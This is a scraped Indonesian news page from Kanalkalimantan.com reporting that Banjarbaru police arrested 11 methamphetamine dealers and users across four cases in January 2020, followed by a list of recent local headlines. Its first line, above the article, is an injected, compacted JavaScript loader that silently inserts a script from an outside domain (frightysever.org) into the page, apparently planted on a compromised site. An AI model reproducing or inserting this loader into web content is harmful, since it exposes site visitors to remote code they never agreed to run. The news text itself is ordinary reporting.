(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

11 Pengedar Sabu Berhasil Diringkus Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Satuan Narkoba Polres Banjarbaru awal tahun ini gencar mengamankan pengedar dan penyalahguna narkoba. Pada pekan keempat Januari ini, mereka berhasil belasan pengedar dan pemakai sabu.

Kapolres Banjarbaru, AKBP Doni Hadi Santoso melalui Kasat Narkoba AKP Elche Engelina mengungkapkan, total 11 tersangka diamankan dalam waktu seminggu terakhir ini. “11 tersangka pengedar dan penyalahguna narkoba ini diamankan di tempat berbeda. Hasil pengungkapan 4 kasus peredaran gelap dan penyalahgunaan narkotika jenis sabu-sabu. Saat ini tersangka beserta barang bukti jenis sabu-sabu diamankan di Mapolres Banjarbaru,” ungkapnya, Senin (27/1/2020).

Dia menjelaskan, 4 kasus yang berhasil diungkap Sat Resnarkoba Polres Banjarbaru ini di antaranya di parkiran sebuah rumah makan di Jalan A Yani KM 33 Kota Banjarbaru. Petugas berhasil mengamankan 5 orang tersangka dengan inisial S, MH, R, FR dan TS. Saat dilakukan penggeledahan ditemukan dua paket sabu-sabu, dengan berat bersih 0,05 gram.

“Kemudian dari hasil pengungkapan kasus kedua, kami amankan dua orang tersangka dengan inisial IR dan HA, di Jalan Kelayan B Banjarmasin Selatan. Dari tangan mereka petugas berhasil mengamankan 11 paket sabu-sabu dengan berat bersih 4,12 gram,” terangnya.

Elche menjelaskan, pihaknya juga melakukan pengungkapan kasus Narkoba di Jalan Kasturi Kelurahan Syamsuddin Noor Kota Banjarbaru. Di lokasi ini petugas berhasil mengamankan 3 orang tersangka, dengan inisial SA, AG dan HA. Saat dilakukan penggeledahan ditemukan 1 paket sabu-sabu dengan berat bersih 0,57 gram.

“Kami juga melakukan pengungkapan kasus Narkoba di Jalan A Yani KM 18 Kota Banjarbaru. Petugas berhasil mengamankan satu orang tersangka dengan inisial MU. Saat dilakukan penggeledahan ditemukan satu paket sabu-sabu dengan berat bersih 0,15 gram,” bebernya.

Saat ini, para pelaku beserta barang bukti sabu-sabu dan barang bukti lainnya diamankan di Mapolres Banjarbaru. Untuk dilakukan pemeriksaan guna proses hukum lebih lanjut.

Para pelaku dijerat dengan Pasal 112 junto 114 Undang Undang RI No 35 tahun 2009 tentang Narkotika. Dengan ancaman hukuman minimal lima tahun kurungan penjara.(Kanalkalimantan.com/Rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

15 menit ago

Peduli Korban Kebakaran di Cempaka, Srikandi PLN Salurkan Bantuan Perlengkapan Dapur

KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

1 jam ago

Bupati dan Wabup Banjar Hadiri Haul Ke-86 Datu Kasyful Anwar

KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More

6 jam ago

Lelaki di Banjarmasin Habisi Kakak Ipar, Jasad Dibuang ke Wilayah Kintap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More

6 jam ago

Tingkatkan Capaian Akses Layanan Air Limbah dan Air Minum, Dinas PUPR Kalsel Gelar Workshop

KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More

23 jam ago

Ikuti Festival Tunas Bahasa Ibu Nasional di jakarta, Murid SDN Indrasari 2 Audiensi ke Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More

23 jam ago

This website uses cookies.